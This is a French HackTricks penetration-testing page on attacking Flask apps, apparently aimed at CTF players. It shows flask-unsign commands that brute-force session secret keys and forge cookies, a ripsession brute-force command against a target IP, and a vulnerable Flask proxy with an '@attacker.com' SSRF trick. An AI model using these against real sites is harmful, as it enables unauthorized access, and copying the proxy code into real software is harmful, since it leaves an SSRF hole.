Flask

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks

Probablement si vous jouez à un CTF une application Flask sera liée à SSTI.

Cookies

Default cookie session name is session.

Décodeur

Décodeur de cookies Flask en ligne : https://www.kirsle.net/wizards/flask-session.cgi

Manuel

Prenez la première partie du cookie jusqu’au premier point et décodez-la en Base64 :

echo "ImhlbGxvIg" | base64 -d

Le cookie est également signé à l’aide d’un mot de passe

Flask-Unsign

Outil en ligne de commande pour récupérer, décoder, brute-force et forger des session cookies d’une application Flask en devinant les secret keys.

Client Challenge

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Signature

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Signature en utilisant les versions legacy (anciennes versions)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Outil en ligne de commande pour brute-force des sites web en utilisant des cookies générés avec flask-unsign.

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign. \xc2\xb7 GitHub

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Cet exemple utilise l’option sqlmap eval pour automatically sign sqlmap payloads pour flask en utilisant un secret connu.

Flask Proxy vers SSRF

Dans cet article il est expliqué comment Flask permet une requête commençant par le caractère “@”:

GET @/ HTTP/1.1
Host: target.com
Connection: close

Lequel, dans le scénario suivant :

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Pourrait permettre d’introduire quelque chose comme “@attacker.com” afin de provoquer une SSRF.

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks